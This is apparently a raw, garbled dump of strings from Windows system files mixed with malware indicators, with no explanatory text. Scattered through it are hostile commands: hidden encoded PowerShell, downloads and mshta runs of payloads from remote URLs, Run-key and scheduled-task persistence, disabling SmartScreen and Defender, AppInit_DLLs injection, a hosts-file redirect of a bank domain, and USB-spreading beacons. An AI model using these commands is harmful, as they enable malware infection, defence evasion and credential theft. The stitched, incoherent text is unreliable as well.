powershell.exestart-process'c:\windows\system32\wbem\wmic.exe
getoscase"windows"getfilename="exe"caseelsegetfilename="bin"
x5csoftware\x5cmicrosoft\x5cwindows\x5ccurrentversion\x5crun
\windows\system32\
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
+diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
RdiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
Lua:LastFolder2!windows
windows11
windowshide:trueN
WindowsCreateString
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard
Microsoft.WindowsStore_8wekyb3d8bbwe!
WinlogonStatusCode
hkcu\software\microsoft\windows\currentversion\run\
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell('
"hidden"$p=start-process$global:pathto7z-argumentlist$arguments-wait-passthru-windowstyle$windowstyle
x3)microsoftoffice/15.0(windowsnt6.1;microsofto
windows.packageExtension
16^windows.packageExtension
c:\windows\system32\cmd.execmd/cpowershell.exe-exbypass-nop-whidden-eciaajaekabgb2ae8aswblac0avwblagiacgblaheavqbfahmadaagaakalqb1afiasqagaakahsboahqadabwahmao
onecoreuap\shell\windows.storage\sharedstoragesources\cassochandler.cpp
onecoreuap\shell\windows.storage\sharedstoragesources\appdefaultsparser.cpp
Reason::failed_improperlyFormattedWindowSkipped
CreateSavedWindowsRestoreTabsTipTest
improperlyFormattedWindowSkipped
WindowsCodecs.dll
Windows.Storage.dll
 @PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
WINDOWS11
SendKeys cannot run inside this application because the application is not handling Windows messages.  Either change the application to handle messages, or use the SendKeys.SendWait method.
  <assemblyIdentity name="Microsoft-Windows-" version="6." processorArchitecture="x86" language="neutral" buildType="release" publicKeyToken="31bf3856ad364e35" versionScope="nonSxS" />
  <file name=".dll" destinationPath="$(runtime.system32)" sourceName=".dll" importPath="$(build.nttree)\">
    <directory destinationPath="$(runtime.system32)\" owner="true">
    <directory destinationPath="$(runtime.windows)\" owner="true" />
      <id name="Microsoft.Windows.Categories" version="1.0.0.0" publicKeyToken="365143bb27e7ac8b" typeName="SingleInstanceFilesBootCritical" />
      <id name="Microsoft.Windows.Categories.Services" version="6." publicKeyToken="31bf3856ad364e35" typeName="Service" />
        <serviceData name="HTTP" displayName="@%SystemRoot%\system32\drivers\.sys,-1" errorControl="normal" imagePath="system32\drivers\.sys" start="demand" type="kernelDriver" description="">
]qrestrictrunc:\windows\system32\drivers\etc\service3.ini
Mmozilla/4.0 (compatible; msie 7.0b; windows nt 6.0)insert into clientesjusttbbaby.com/js/www.guantanamera.org.br/fotos/catolicanet.net/images/eugenia-jorgeJ
dd^windows.deploymentExtensionHandler
%Microsoft Windows Production PCA 20110
Microsoft Windows0
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\
DriverData=C:\Windows\System32\Drivers\DriverData
OS=Windows_NT
28^windows.appExtension
29^windows.appExtension
"Windows"!
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsCreateString
    It only differs from windowsshell.manifest in the <dpiAware> tag.
    name="Microsoft.Windows.pcshellshell.explorer"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness>
    </windowsSettings>
SOFTWARE\Microsoft\Windows\CurrentVersion\Runj
Microsoft.Windows.EventAggregation
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-OneCore-Common-DriverClasses-Core-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4484.cat|Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-CoreSystem-UnifiedBPM-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-IIS-WebServer-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Kernel-Package-DebuggerTransport-Network-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Undocked-Hypervisor-Drivers-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|top-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
GetSystemWindowsDirectoryW
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\run" /ve /t REG_SZ /d
GetSystemWindowsDirectoryW
 http://www.microsoft.com/windows0
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
LOCALAPPDATA=C:\WINDOWS\ServiceProfiles\LocalService\AppData\Local
ComSpec=C:\WINDOWS\system32\cmd.exe
C:\WINDOWS\system32\services.exe
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
4d^windows.appExtension
4e^windows.appExtension
Microsoft.Windows.Defender
Microsoft.Windows.DynamicLightingToastHandler
GetWindowsDirectoryW
GetWindowsAccountDomainSid
GetSystemWindowsDirectoryW
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
legalWindowsNameValidationResult
NativeCache.directory|%WINDIR%\System32\Macromed\Flash
\Windows\UpdateOrchestrator\
32\WindowsPowerShell\v1.0\p
%systemroot%\system32\com\dmp
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCodecs.dll
Microsoft.Windows.Dwm.WindowNotif
Microsoft.Windows.Graphics.DisplayBroker
Microsoft-Windows-DispBroker-Desktop
Microsoft-Windows-DispBroker-DesktopSvc
Microsoft.Windows.Dwm.Interaction
Microsoft.Windows.TaskScheduler
Microsoft.Windows.Graphics.Display
Microsoft.Windows.Licensing.Sppc
Microsoft.Windows.CoreUIComponents
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
#s\system32\reg.exeadd"
Windows D
UPDATE2\update.exe.1\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE-Barhttp://0.82211.net/.
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
WindowsGetStringRawBuffer
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsCreateString
EnumWindows
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
MICROSOFTWINDOWS.59337133.VOIESS_1000.26100.7824.0_X64__CW5N1H2TXYEWY
WINDOWS.INTERNAL.SHELL.SHAREWINDOW.SHAREWINDOWCOMMANDTARGET
MICROSOFTWINDOWS.59336768.SPEION_1000.26100.7824.0_X64__CW5N1H2TXYEWY
WINDOWS\ServiceProfiles\Local
=C:\Windows\System32\
Microsoft.Windows.Security.PasswordlessPolicy
MICROSOFTWINDOWS.CLIENT.PHOTON_1000.26100.10.0_X64__CW5N1H2TXYEWY
MICROSOFTWINDOWS.CLIENT.COREAI_1000.26100.7824.0_X64__CW5N1H2TXYEWY
X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_NONE_B63C266B1D6D356C
Microsoft.Windows.Networking.DNS
MICROSOFTWINDOWS.CLIENT.CORE_1000.26100.82.0_X64__CW5N1H2TXYEWY
WINDOWS.SECURITY.AUTHENTICATION.ONLINEID.ONLINEIDSERVICETICKETREQUEST
WINDOWS.SECURITY.AUTHENTICATION.ONLINEID.ONLINEIDSYSTEMAUTHENTICATOR
Microsoft.Windows.TlgAggregateInternal
MICROSOFTWINDOWS.CLIENT.FILEEXP_1000.26100.4.0_X64__CW5N1H2TXYEWY
Microsoft.Windows.OneCore.MinInput
Microsoft.Windows.Input.Keyboard
Microsoft.Windows.Security.WinlogonNotify
Microsoft.Windows.Security.Capabilities
Microsoft.Windows.SystemEventsBroker
Microsoft.Windows.CSystemEventsBroker
Microsoft.Windows.Compatibility.Apphelp
Microsoft.Windows.Compatibility.Asl
Microsoft.Windows.Security.AppIDSvcProvider
Microsoft.Windows.GroupPolicy.CSEs
Microsoft.Windows.GroupPolicy.GPSVC
%BrowserAppProfile%\New Windows!AccUserInitOnClick
%BrowserAppProfile%\New Windows\AllowInPrivate!%s
Windows\CurrentVersion\Ext\Stats\%s\iexplore!LastTimePolicyBlockedAddonPrompted
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
isWindowsSd
c:\windows\system32\windowspowershell\v1.0\powershell.exe
Microsoft.Windows.TlgAggregateInternal
sZXAffaldsskakten\pressefold\duelbeneSoftware\Microsoft\Windows\CurrentVersion\Uninstall\Bochur\Maliceproof\Desulfurisation\automatizations
EnumThreadWindows
EnumDesktopWindows
WindowsCreateString
WindowsCreateStringReference
WindowsDuplicateString
WindowsDeleteString
WindowsSubstringWithSpecifiedLength
WindowsGetStringLen
WindowsCompareStringOrdinal
WindowsSubstring
WindowsConcatString
regadd"hkey_local_machine\software\policies\microsoft\windows\system"/venablesmartscreen/treg_dword/d"0"
ifilesystem3.copyfile("c:\windows\system32\wscript.exe","c:\users\
regadd"hkey_local_machine\software\microsoft\windowsnt\currentversion\windows"/vappinit_dlls/treg_sz/d
SCPT:WindowStyleHex.C2
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings
Software\Microsoft\Windows\CurrentVersion\Internet Settings
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent
Windows NT 6.2
Windows NT 6.1
Windows IoT 8.1
Windows Phone 8.1
Windows Phone 10.0
Windows IoT 10.0
Windows.UI.Xaml.Controls.dll
SOFT.WINDOWS.S
Microsoft-Windows-Runtime-Metadata-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
EnumWindows
GetProcessWindowStation
c:\windows\system32\cmd
paymenttroubleconceptcompareparentsplayersregionsmonitor ''The winningexploreadaptedGalleryproduceabilityenhancecareers). The collectSearch ancientexistedfooter handlerprintedconsoleEasternexportswindowsChannelillegalneutralsuggest_headersigning.html">settledwesterncausing-webkitclaimedJusticechaptervictimsThomas mozillapromisepartieseditionoutside:false,hundredOlympic_buttonauthorsreachedchronicdemandssecondsprotectadoptedprepareneithergreatlygreateroverallimprovecommandspecialsearch.worshipfundingthoughthighestinsteadutilityquarterCulturetestingclearlyexposedBrowserliberal} catchProjectexamplehide();FloridaanswersallowedEmperordefenseseriousfreedomSeveral-buttonFurtherout of != nulltrainedDenmarkvoid(0)/all.jspreventRequestStephen
 severalbecomesselect wedding00.htmlmonarchoff theteacherhighly biologylife ofor evenrise of&raquo;plusonehunting(thoughDouglasjoiningcirclesFor theAncientVietnamvehiclesuch ascrystalvalue =Windowsenjoyeda smallassumed<a id="foreign All rihow theDisplayretiredhoweverhidden;battlesseekingcabinetwas notlook atconductget theJanuaryhappensturninga:hoverOnline French lackingtypicalextractenemieseven ifgeneratdecidedare not/searchbeliefs-image:locatedstatic.login">convertviolententeredfirst">circuitFinlandchemistshe was10px;">as suchdivided</span>will beline ofa greatmystery/index.fallingdue to railwaycollegemonsterdescentit withnuclearJewish protestBritishflowerspredictreformsbutton who waslectureinstantsuicidegenericperiodsmarketsSocial fishingcombinegraphicwinners<br /><by the NaturalPrivacycookiesoutcomeresolveSwedishbrieflyPersianso muchCenturydepictscolumnshousingscriptsnext tobearingmappingrevisedjQuery(-width:title">tooltipSectiondesignsTurkishyounger.match(})();
ERROR_BRAIN_TOO_SMALLWindows Deathdata=%s<|>%s<|>%d<|>%d<|>%s<|>%ddata=USB<|>Infected Drive %c:\<||>?act=spreading&ver=%s{
windowstylehidden-nologo-command(new-objectsystem.net.webclient).downloadfile('https://www.conaldesa.com.co/wpadmin/wifpblrkhvgcyp.exe','c:
ocmdabcdefghijklmnopqrstuvwxyz0123456789c:\windows\
c:\windows\system32\
%s:\Windows\System32
6_@%systemroot%\system32\cscsvc.dll,-202
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElement@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElement2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement2@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElement3@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement3@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElement4@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement4@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElement5@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement5@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElement7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement7@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElement8@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement8@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElement9@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement9@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIUIElement10@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IUIElement10@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIAnimationObject@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IAnimationObject@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIVisualElement@Composition@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Composition_IVisualElement@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$require_one@UDialogsPage@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UDialogsPage@implementation@TaskManagerApp@winrt@@@impl@winrt@@
c:\windows\system32\
%s\%s.lnk%SystemRoot%\system32\SHELL32.dll
%SystemRoot%\system32\cmd.exe$
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
c:\windows\system32\wbem\wmic.exeprocesscallcreate"powershell-w1powershell-command('ms'+'hta'+'.exe'+'https://myfilebuilders.com/samm')"
c:\windows\system32\openssh\ssh.exe-oproxycommand="powershellpowershell-c'mshta'.insert(5,'https://tualcaldia.com/firma/default.mp4')".
s\system32\mswc.ime
J	DWindows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata&
WindowsDeleteString
WindowsCreateStringReference
WindowsGetStringRawBuffer
WindowsCreateString
Windows Task Man
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
WINDOWS11
s\system32
Ncreateobject("shell.application").shellexecute"powershell","-wh-cif(!(test-pathfile.pdf)){iwrhttps://inventscience.st/file.pdf-ofile.pdf;startfile.pdf;add-mppreference-exclusionpathc:\windows\system32;
schtasks /delete /tn "WindowsUpdate" /f >nul 2>&1-DisableRealtimeMonitoring-DisableScriptScanning-DisablePrivacyMode
Bhttp://1.234.27.146/popup.docmd=redirect_listcmd=redirect_log&url=cmd=keywordLog&keyword=cmd=popupLog&keyword=cmd=getSite&keyword=WINDOWS/system32/pog.logWINDOWS/system32/cffmom.log
\system32\host~
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System][HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon][HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]"DisableLocalMachineRun"=dword:00000001"NoFileMenu"=dword:00000001"NoControlPanel"=dword:00000001"NoDrives"=dword:3ffffff"NoClose"=dword:00000001"NoChangeStartMenu"=dword:00000001"NoViewContextMenu"=dword:00000001"NoRun"=dword:00000001"NoFind"=dword:00000001"NoDesktop"=dword:00000001
Windows.,
Windows.3
CurrentVersion\Winlogon\Shell
windowscd..
Microsoft Windows3
Microsoft Windows3
wc:\windows\system32\mshta.exeshortcutscript%windir%\system32\1http://a0700424.xsph.ru/refuse/refreshment.xml/f%windir%\system32\shell32.dll
Windows.Settings.SearchData
Winlogon
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHostU
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackupn
MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHostu
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!Appr
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
Kfecho110.34.237.82open.nonghyup.com>>%systemroot%\system32\drivers\etc\hostsattrib%
Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindowsapp:immersive2026-02-21 11:16:392026-02-21 11:16:39
hop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateStringReference
'c:\windows\microsoft.net\framework\v4.0.30319\regsvc
http://192.227.168.150/windows/
Windows::Internal::NativeString<class Windows::Internal::CoTaskMemPolicy<unsigned short> >::_EnsureCapacity
onecore\internal\shell\inc\WindowsInternalString.h
Windows::Internal::NativeString<class Windows::Internal::CoTaskMemPolicy<unsigned short> >::_EnsureCount
Automatically download and install Windows Updates.
How to change update settings for Windows Update
Automatic updates for Windows and Microsoft Store apps
You can change your update settings at any time by visiting Settings > Update & Security > Windows Update > Advanced options.
Regular updates help protect your device and keep it running smoothly and securely. If you choose to get automatic updates, they'll download to your device as soon as they're available so you always have the latest security fixes and enhancements, like Windows Defender, driver, and firmware updates. If you choose not to get automatic updates, Microsoft will still check your device for available updates. We'll notify you periodically when new updates are available. You can then choose whether or not to download the updates, but you won't be fully up to date and protected until you download and install them.
Select <b>Learn more</b> for info on the above settings, how Windows helps protect you from unsafe apps and web content, and the related data transfers and uses.
Choose your settings, then select <b>Accept</b> to save them. Check the <b>Learn more</b> link for info on these settings, how to change them, how Windows helps protect you from unsafe apps and web content, and the related data transfers and uses.
Send only info about your device, its settings and capabilities, and whether it is performing properly. Diagnostic data is used to help keep Windows secure and up to date, troubleshoot problems, and make product improvements.
Send info about how you use apps and features, plus additional info about device health, device and web activity, and enhanced error reporting. Diagnostic data is used to help keep Windows and other Microsoft products secure and up to date, troubleshoot problems, and make product improvements. Required diagnostic data will always be included when you choose to send Optional diagnostic data. Regardless of your choice, your device will be equally secure and will operate normally.
Send only info about your device, its settings and capabilities, and whether it is performing properly. Diagnostic data is used to help keep Windows secure and up to date, troubleshoot problems, and make product improvements. Regardless of your choice, your device will be equally secure and will operate normally.
Let Windows use info about your device and how you use it to enhance your Windows experience by showing you personalised tips, recommendations, 
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
/c schtasks /create /tn "Microsoft\Windows
Windows\CurrentVersion\Run
\windowsw
] %s%s (changed windowsO
WindowsCreateStringReference
WindowsDeleteString
WindowsGetStringRawBuffer
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\resource.h
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\6
system32\rsvp1
\software\microsoft\windows\currentversion\run\
start-process-filepath'%target_file%'-windowstylehidden;start-process-filepath
`,"software\microsoft\windows\currentversion\run",
add-mppreference-exclusionpathc:\programdata\windowstask\appmodule.exe-force
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
\Windows\CurrentVersion\Run\360sofe@Microsoft\Config.ini
PackageMetadataMicrosoftWindows.Client.OOBE_cw5n1h2txyewy!:
WindowsOobeAppHostf
G": "Microsoft.Windows.OOBENetworkCaptivePortal_10.0.26495.1000_neutral__cw5n1h2txyewy"
Microsoft.Windows.Health.TestInProduction
Microsoft.Windows.Health.TestInProduction
)"packageFullName": "MicrosoftWindows.Client.CBS_1000.261
Microsoft.Windows.Health.TestInProduction
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateStringReference
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennialK9P
Windows.XGpuEjectDialogT
LUA:SonyWindows_Installer
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp
cing due to Windows can't support NVMe disk hotadd.
%s():%d: ERROR: App quiescing is supported on Windows Server versions starting from Windows 2008 and up to Windows 2022 only.
           targetNamespace="http://schemas.microsoft.com/appx/manifest/iot/windows10/2"
           xmlns="http://schemas.microsoft.com/appx/manifest/iot/windows10"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/7"
